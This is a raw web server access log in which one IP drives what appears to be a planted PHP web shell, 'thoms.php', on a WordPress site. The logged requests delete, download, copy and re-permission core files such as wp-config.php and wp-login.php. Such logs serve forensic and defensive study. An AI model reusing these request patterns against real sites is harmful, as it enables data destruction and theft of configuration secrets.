45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?del=wp-comments-post.php&p=bestjudy.com.tw HTTP/1.1" 200 17352 "http://163.245.207.76:443/thoms.php?del=wp-comments-post.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=error_log HTTP/1.1" 200 14135 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=error_log" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?del=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 17342 "http://163.245.207.76:443/thoms.php?del=wp-blog-header.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-load.php HTTP/1.1" 200 13654 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-load.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?chmod=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-mail.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?p=bestjudy.com.tw&settings=1 HTTP/1.1" 200 11880 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&settings=1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /bestjudy.com.tw/.htaccess HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:49 -0400] "GET /thoms.php?chmod=.well-known&p=bestjudy.com.tw HTTP/1.1" 200 11490 "http://163.245.207.76:443/thoms.php?chmod=.well-known&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p= HTTP/1.1" 200 11659 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-admin&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=error_log&p=bestjudy.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=index.php&p=bestjudy.com.tw HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?chmod=index.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 11486 "http://163.245.207.76:443/thoms.php?chmod=wp-config-sample.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?dl=readme.html&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=readme.html&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 11462 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-mail.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 11482 "http://163.245.207.76:443/thoms.php?chmod=wp-signup.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /bestjudy.com.tw/wp-cron.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?dl=xmlrpc.php&p=bestjudy.com.tw HTTP/1.1" 200 17352 "http://163.245.207.76:443/thoms.php?dl=xmlrpc.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=wp-content&p=bestjudy.com.tw HTTP/1.1" 200 11487 "http://163.245.207.76:443/thoms.php?chmod=wp-content&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?del=static-plugins&p=bestjudy.com.tw HTTP/1.1" 200 17351 "http://163.245.207.76:443/thoms.php?del=static-plugins&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /bestjudy.com.tw/cgi-bin/ HTTP/1.1" 200 692 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=cgi-bin&p=bestjudy.com.tw HTTP/1.1" 200 11474 "http://163.245.207.76:443/thoms.php?chmod=cgi-bin&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Ferror_log&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=license.txt&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=license.txt&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:50 -0400] "GET /thoms.php?chmod=mah.php&p=bestjudy.com.tw HTTP/1.1" 200 11471 "http://163.245.207.76:443/thoms.php?chmod=mah.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-activate.php HTTP/1.1" 200 14817 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-activate.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /bestjudy.com.tw/readme.html HTTP/1.1" 200 2990 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?chmod=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?chmod=wp-blog-header.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?dl=index.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=index.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /bestjudy.com.tw/thoms.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?del=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 17356 "http://163.245.207.76:443/thoms.php?del=locoy.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /bestjudy.com.tw/thoms.php?p= HTTP/1.1" 200 16574 "https://163.245.207.76/bestjudy.com.tw/thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?chmod=static-plugins&p=bestjudy.com.tw HTTP/1.1" 200 11488 "http://163.245.207.76:443/thoms.php?chmod=static-plugins&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fupgrade&p= HTTP/1.1" 200 11680 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fupgrade&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?chmod=wp-includes&p=bestjudy.com.tw HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?chmod=wp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=locoy.php HTTP/1.1" 200 12965 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=locoy.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?del=wp-includes&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?del=wp-includes&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw HTTP/1.1" 200 11457 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Freadme.html&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /bestjudy.com.tw/site-settings/ HTTP/1.1" 200 6406 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?del=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?del=thoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:51 -0400] "GET /thoms.php?del=wp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?del=wp-load.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?del=index.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?del=index.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?chmod=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?chmod=thoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /bestjudy.com.tw/static-plugins/ HTTP/1.1" 200 6354 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=xmlrpc.php HTTP/1.1" 200 13365 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=xmlrpc.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw HTTP/1.1" 200 11473 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Flicense.txt&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=wp-blog-header.php HTTP/1.1" 200 12030 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=wp-blog-header.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?del=wp-config-sample.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?del=wp-config-sample.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw HTTP/1.1" 200 11470 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-load.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?chmod=site-settings&p=bestjudy.com.tw HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?chmod=site-settings&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /bestjudy.com.tw/wp-comments-post.php HTTP/1.1" 405 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?dl=locoy.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?dl=locoy.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /thoms.php?dl=wp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=wp-blog-header.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /bestjudy.com.tw/wp-login.php HTTP/1.1" 404 11020 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:52 -0400] "GET /bestjudy.com.tw/error_log HTTP/1.1" 403 1242 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /bestjudy.com.tw/license.txt HTTP/1.1" 200 7276 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw HTTP/1.1" 200 11458 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Findex.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?chmod=wp-settings.php&p=bestjudy.com.tw HTTP/1.1" 200 11481 "http://163.245.207.76:443/thoms.php?chmod=wp-settings.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=index.php HTTP/1.1" 200 12053 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=thoms.php HTTP/1.1" 200 11810 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=thoms.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw HTTP/1.1" 200 11429 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-blog-header.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /bestjudy.com.tw/wp-admin/ HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?del=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?del=wp-mail.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?del=site-settings&p=bestjudy.com.tw HTTP/1.1" 200 17347 "http://163.245.207.76:443/thoms.php?del=site-settings&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?p=bestjudy.com.tw&view=mah.php HTTP/1.1" 200 11817 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw&view=mah.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw HTTP/1.1" 200 11472 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fthoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?dl=wp-mail.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?dl=wp-mail.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 11466 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-signup.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /bestjudy.com.tw/xmlrpc.php HTTP/1.1" 405 62 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:53 -0400] "GET /thoms.php?dl=wp-signup.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?dl=wp-signup.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 200 12050 "http://163.245.207.76:443/thoms.php?p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?chmod=upgrade&p=bestjudy.com.tw HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?chmod=upgrade&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p= HTTP/1.1" 200 11664 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-includes&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?dl=thoms.php&p=bestjudy.com.tw HTTP/1.1" 200 17353 "http://163.245.207.76:443/thoms.php?dl=thoms.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?del=wp-activate.php&p=bestjudy.com.tw HTTP/1.1" 200 17345 "http://163.245.207.76:443/thoms.php?del=wp-activate.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?del=wp-config.php&p=bestjudy.com.tw HTTP/1.1" 200 17355 "http://163.245.207.76:443/thoms.php?del=wp-config.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw HTTP/1.1" 200 11476 "http://163.245.207.76:443/thoms.php?copy=bestjudy.com.tw%2Fwp-links-opml.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /thoms.php?del=wp-login.php&p=bestjudy.com.tw HTTP/1.1" 200 17354 "http://163.245.207.76:443/thoms.php?del=wp-login.php&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:36:54 -0400] "GET /bestjudy.com.tw/wp-blog-header.php HTTP/1.1" 404 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
